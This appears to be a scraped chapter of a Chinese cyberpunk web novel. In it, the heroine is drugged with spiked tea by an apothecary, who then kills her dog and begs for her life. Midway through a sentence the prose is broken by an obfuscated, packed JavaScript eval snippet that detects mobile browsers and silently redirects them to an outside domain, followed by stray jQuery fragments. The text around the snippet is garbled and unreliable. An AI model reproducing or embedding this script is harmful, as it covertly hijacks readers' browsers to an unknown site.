21. 玛莎(一)
作品:《骇客小姐不卖脑子[赛博]》 车道已经被炸断了,钢筋像倒钩般向外刺出。
诺曼用绿曼巴的右臂和锁链做了个简易的滑降装置,带着林真爬了下来,然后用力一甩一拉,收起锁链弯刀。
荒野猎人说话算话,给他们留下了一辆摩托车。虽然这可能是他们车队里最差的一辆,坐垫的皮革破破烂烂,排气管几乎垂到地面上,带着大片的锈迹。
“你确定他们不会留个炸弹?”林真揉着酸痛的肩膀问。
“不确定。”诺曼用匕首挑开座垫缝隙,打开后部储物箱,又来回摸了一遍了轮胎和车底,然后才点头,“应该没有什么暗手。”
他指挥着无人机一台接着一台落进储物箱里,一回头,就看见林真已经骑上摩托,正在戴头盔。
“你确定你要开车,现在?”诺曼走到她身旁,帮她扶住车把。
“我很冷静,也不一定是玛莎。”
“那可不一定。”诺曼脱下手套,丢给林真。他跨上摩托后座,双手拉住坐垫边缘,“毕竟这里是五区,我的脑子就是被我爸妈卖掉的。”
反正林真已经知道了,他也不再隐瞒,语气随意。
林真沉默着戴上手套,扣上手腕处的搭扣,用力拉紧。手套有些大,带着诺曼的体温。
她握住把手:“那个时候你几岁?”
“十岁?我不记得了。你开稳当点。”
林真的回应是右手狠狠一拧。
摩托车发出一声断气似的轰鸣,猛然向前窜出。后头,枪械和无人机“咚”的一声撞在储物箱里。
诺曼赶紧抱住林真的腰。
冷静个屁!他在心里骂道。
林真低头看了一眼。诺曼的左臂环在她的腰上,手掌不敢碰到她,只好握成拳头。
她嗤笑一声,再次提升车速。
荒野的风呼啸而来,撞在她的胸口。
废弃的高速公路旁,一块写着限速75公里的指示牌在他们疾驰而过时轰然倒塌。
玫瑰金的天光将他们剪成两个影子。
“你打算去哪里?”诺曼在风沙里喊道。
林真掀开一点面罩,喊回去:“找药师看个东西。”
她要去问那个药盒的来处,诺曼了然。越不相信,最后往往越痛苦,因为真相就是如此。他对此太有经验了。
摩托车在药师的门廊前停下。
诺曼点了点面罩,瞬间变成了莫恕的样子。
林真一愣:“药师不可信?”
“药师算是黑街的第三方,我只是习惯了。”诺曼接过林真的头盔,挡住自己的头发。毕竟莫恕是个光头。
黑子小姐闻声出来,见到林真,摇着尾巴就要过来蹭她的腿。
“黑子小姐。”林真蹲下身,伸手去摸它的头。
可也许是林真身上的血腥味太浓,黑子小姐“呜”了一身,避开了她的手。
深蓝色的门帘掀开,药师白瓷一样的脸出现在门口。
“早上好,药师,打扰了。”林真走上前去,“我有一件事想问您。”
药师看着她破破烂烂、满是刀口的衣服,皱起眉头,伸手捏起她的衣袖,凑近看了看。
阳光顺着破口透过来。
“一,二,三,四道口子。”药师“唔”了一声:“怎么和人打架去了?把脸打坏了,不好看了怎么办?进来吧,我正要泡茶。”
“我就问一个问题,问完就走,不打扰您。”林真拿出空药盒,翻转过来,露出底下的樱花图案,“请问您认识这个药盒吗?”
药师接过药盒,凑到眼前,端详了一下底下的黄色粉末,又打开盖子,放在鼻尖闻了闻:“是我家的呀,你要问什么呀?”
“我想问您是否知道这是什么,最近有谁向您买过?”
“知道。但是不行哦。”药师宽大的衣袖一拂,药盒瞬间消失在她的袖子里,“除非你进来陪我喝茶。”
她露出小孩耍赖的表情。
林真回头看了一眼诺曼。
诺曼正戴着莫恕的脸,闻言行了一个夸张的绅士礼:“不知我是否有幸,被可爱的小姐们邀请?”
意识链接里,林真听见他嫌恶地“呕”了一声,一边骂“傻逼莫恕”。
她忍住笑,把头偏过去。
药师撅起嘴,拉住林真的手:“唔,他不行。臭男人。黑子小姐,帮我看着他。”
诺曼耸肩,退后半步:“那真是太遗憾了。”
林真低下头,嘴角抽动着,跟着药师走进客厅。
客厅还是上次的样子,苔玉球在半空中缓缓旋转。
林真闻了闻自己衣袖,被浓重的血腥气熏得一噎,讪讪地脱下外衣,叠成一小团放在一旁。
药师拿着锡做的茶叶罐从里间出来,煮水,泡茶,然后将一杯茶放到林真面前,一杯放在自己面前。
茶色青黄。
“新弄到的绿茶,你尝尝。”
林真拿起茶杯,抿了一口。
药师依旧是用袖子遮住下半张脸,仰头一饮而尽。她也不催林真,自顾自开口:
“你问的这个药呢,应该是浅黄色的小圆球,效果是让人放松、镇定,一般和止痛药一起出售。”
林真垂下眸子,又抿了一口茶。
“如果吃一整盒呢?”
她其实知道答案,可她还是问了。
“唔,吃多了,心跳会变慢,喘不上气。”药师猫一样的圆瞳打量着她:“这也是很多人给自己选择的结局。我想,你没有吃一整盒吧?”
林真摇摇头,掩饰性地又喝了一口茶:“今天的茶很好喝。”
药师笑着给她加满,接着说:“很多人会问我买这个,大多数是黑街的,居民区的也有。但我只给女孩子有樱花的小药盒。上个月的话,是一个有着丹凤眼的女孩子呢。”
林真眨了下眼睛。
没有人开窗,但是茶室明亮得不真实,一切都像是被蒙上了一层金粉。她的伤口不知什么时候不疼了,连茶水也泛着迷离的金色光泽,像是一口被封存的不老泉。
半空中,苔玉球转动得更快了。
药师的语气轻柔,“茶好喝的话,就再多喝一点吧。”
林真点点头,端起茶杯。
屋外突然传来黑子小姐的叫声和摩托车倒翻的声音。
下一秒,黑子小姐狂奔入房间,把嘴里的东西放在茶桌上。
——那是绿曼巴的右手小臂。
林真手里的茶盏豁然打翻,她扶着桌子站起身,用力摇了摇头:“茶水里有什么?”
身后,赶来的诺曼扶住她的肩膀。
“嘿,诺曼!”林真转头,微笑着冲他打招呼。
“吐出来。”诺曼咬牙,“见鬼的你刚吃了什么?”
林真指了指桌上的茶盏:“喝了点加料的茶。没事,我很清醒,手臂也不痛了呢。”
矮桌前,药师抚摸着那截血迹斑斑的小臂,从断口到指尖,丝毫不在意血污染上她修长白皙的手指。半晌,她终于抬起头:
“我只是捏碎了一颗小球,看起来你之前吃得很多啊。你们身上的伤口,果然是维斯佩拉留下的呢。她死了吗?”
林真和诺曼对视一眼。
“你知道药师和绿曼巴有关系吗?”
“不,不然我不会让你来这里。”
“太拉胯了,我还以为你这么牛逼,什么都知道呢。”
“我也不知道你蠢到喝她给的茶啊!”
林真竖起一根手指,笑眯眯:“不是我,是刚才的我。”
说罢,她盯着自己指尖,眼珠就开始往中间靠拢,“你看我斗鸡眼!”
“你可闭嘴吧。”诺曼忍无可忍。
药师已经站起身,再次问道:“她死了吗?”
黑子小姐站在她的腿边,低吼一声,蹿上茶几,猛地扑向诺曼。诺曼枪口一抬。黑子小姐生生
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938527|176787||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
停住,在茶杯之间烦躁地挪动着脚步,发出低沉的咆哮。
气氛一下子剑拔弩张。
可林真却什么都感受不到。她看着药师,像是才反应过来对方问了什么,轻快地笑着回答道:“对的,她死啦。”
“尸体呢?”
“两万块,卖给荒野猎人啦。”林真举起右手,竖起两根手指:“两万块,可以让桃子他们一天五顿草莓味的营养液,都给我长胖!”
药师从茶几下摸出一把手枪。
可她还没抬起枪,诺曼的子弹就到了。她的虎口鲜血直流,手枪落在茶几上,然后掉到地上。
药师的脸色变了。她缓缓拉开浴衣,从大腿外侧拔出两柄细长的匕首,反握在手里。
诺曼的手枪对准了她的眉心。
“再动一下,就是你的脑子了。”诺曼说道。
黑子小姐挡在药师身前,发出低沉的咆哮。
可药师却突然跪下了。
那两柄雪亮的匕首交叉刺下,没入细犬的脖子。黑棕色的皮毛一下子就被鲜血打湿了。
黑子小姐抬头看了她一眼,发出压抑的“呜呜”声。
药师的双手没有丝毫颤抖。她死死压着细犬,直到它再也发不出一点声音。然后她伏跪在尸体上,双手摊开,任由带血的匕首从她手里滑落。
匕首撞在茶壶上,发出“叮”的一声。
她的长发铺满桌面,声音低哑:
“我叫木下枝理。你能够杀死维斯佩拉,我不是你的对手。”
“黑子对你们不敬,我杀了。”
“我只求你们留我一条性命。”
诺曼手里的手枪抵上了药师的颅骨。
药师一动不动。黑子小姐的鲜血从她的身下漫出来,浸湿了她的长发和浴衣。
林真站在原地,目光落在黑子小姐的眼睛上。它曾经为了她而战斗,它曾经亲呢地蹭她的手。
可现在,那双眼睛里的光正一点点褪去,雾蒙蒙的灰色弥漫上来。
她知道那意味着什么。
可她感觉不到愤怒,也没有恐惧,连惊讶都没有。
她像泡在一池温热的水里,一切都不真实极了。
安恬为什么会来黑街买药。
药又为什么会到她的手上。
绿曼巴怎么会是药师的恋人。
药师又怎么会杀了黑子小姐。
药师就要死去了,那就死去吧。
安恬和玛莎背叛了她,那就杀了安恬,杀了玛莎,杀了收养院里的所有人。
她应该悲伤的。她应该害怕的。
可她怎么什么都感觉不到。
诺曼持枪的手突然被抓住了,是林真。他皱眉道:“边儿去。”
可林真执着地按着他的手:“她已经跪下了……”
“这只是黑街的手段罢了。我今天要是再晚一分钟进来,你可能就不会醒来了,你知不知道?”
“我知道,我……”林真简直语无伦次了,“药师救过我一次,黑子小姐救过我一次,她的药救了玛莎……虽然玛莎要杀我……她救过我啊……”
在药物的作用下,她依旧笑着。但她的脸上,两行泪水倏然落下。
诺曼抬手劈在林真颈侧,然后单手接住了她。
“药师,你之前帮过她。”他低声道,手里的枪仍旧按在药师的颅骨上。
药师趴伏得更低了,“是的,我认识她的姐姐。”
诺曼眯起眼睛:“林雪?她人呢?”
“只有常七爷才知道她的下落。”
“林雪只有E级别吧?常老七穷疯了吗?”
“七爷要的是她的脑子。她姐姐找我要了大脑激活剂。”
“这件事常老七知道吗?”
“他不知道。”
诺曼点头,语气冷厉:“很好。那他永远都不需要知道了。记着,她今天留你一命,我随时可以拿走。”